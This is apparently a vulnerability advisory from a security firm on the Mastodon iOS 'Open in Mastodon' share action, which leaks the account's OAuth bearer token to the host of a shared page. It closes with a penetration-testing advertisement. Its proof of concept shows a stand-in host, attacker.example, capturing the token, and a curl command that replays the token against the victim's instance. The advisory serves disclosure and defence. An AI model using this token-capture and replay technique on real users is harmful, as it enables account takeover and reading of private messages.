Mastodon iOS: OAuth Token Disclosure to a Foreign Host via the Share Action

An attacker who gets a victim to share a prepared web page through the "Open in Mastodon" share action finds the OAuth bearer token of the signed-in account in their own server log and gains full API access to that account.

Advisory ID: TP-2026-062
Product: Mastodon iOS (official iOS client for the federated social network Mastodon)
Vulnerability type: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
CVE: pending
CVSS 3.1: 7.1 (High) · CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Vendor advisory: GHSA-cx82-g79r-6v6w
Affected versions: >= 2024.5 up to and including 2026.06
Fixed in: 2026.07
Reported: 30 July 2026

Summary

Mastodon iOS is the official client for the federated social network Mastodon. The "Open in Mastodon" share action first tries to resolve a shared URL as a profile, a post or a hashtag through the V2 search of the user's own instance. If that fails, a fallback asks the host of the shared URL itself whether a Mastodon server runs there, and attaches the OAuth bearer token of the signed-in account to that request. Ordinary web pages never resolve as a Mastodon item, so the fallback applies to every normal page. An attacker who gets a victim to run this share action on their own page reads the token from their server log and gains full API access to the account.

Root cause

The fallback search continueWithSearch(_:) takes the host out of the shared URL (OpenInActionExtension/ActionRequestHandler.swift:110-111) and passes it as domain: together with authorization: activeAuthenticationBox.userAuthorization into the instance call (:118-124), which MastodonSDK/Sources/MastodonSDK/API/Mastodon+API.swift:235-239 turns into an Authorization: Bearer header for exactly that foreign URL. This branch is reached through the fallback at :96-98, which the app takes whenever the V2 search of its own instance resolves the shared URL to neither an account nor a status nor a hashtag, that is, for every ordinary web page. No origin check sits at this call site, although the correct pattern exists twice in the same tree: the sibling call one function above sends activeAuthenticationBox.domain to the user's own instance (:73-76), and the same request is guarded by authBox.domain == domain in MastodonSDK/Sources/MastodonCore/Service/InstanceService.swift:24. The only check on whether the queried host is a Mastodon server at all is guard response.value.version != nil in the response handler (:129), which runs after the token is already on the wire. The defect was introduced on 8 May 2024 by commit be962f15d0e4, which added the authorization: argument to a call site whose domain was already externally controlled; before that commit the same request carried no credentials.

Proof of Concept

# 1. The attacker runs an ordinary web page at https://attacker.example/
#    and logs every incoming request.

# 2. The victim opens the page in Safari, share sheet, "Open in Mastodon".

# 3. The app first queries the victim's own instance (no match):
GET https://home.instance/api/v2/search?q=https%3A%2F%2Fattacker.example%2F&resolve=true

# 4. Fallback to the host of the shared URL, carrying the token:
GET https://attacker.example/api/v1/instance
Authorization: Bearer <OAuth token of the signed-in account>

# 5. The attacker replays the captured token against the victim's home instance:
curl -H "Authorization: Bearer <token>" https://home.instance/api/v1/accounts/verify_credentials

The fallback triggers because the home instance's V2 search does not resolve a normal web page as an account, a status or a hashtag. The check on whether the foreign host runs a Mastodon server at all happens in the response handler, by which time the token has already been sent.

Impact

  • Full API access to the victim's account: reading and publishing posts, reading direct messages, changing follow relationships and account settings.
  • The disclosure is invisible to the victim, who only sees the familiar share action on the device.
  • Every earlier use of the action on an ordinary web page has already sent the token to that page's operator.
  • Mastodon access tokens do not expire on their own, so a leaked token stays valid until it is explicitly revoked in the account settings.

References

Is Something Like This in Your Software?

Our team found this vulnerability in the course of its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.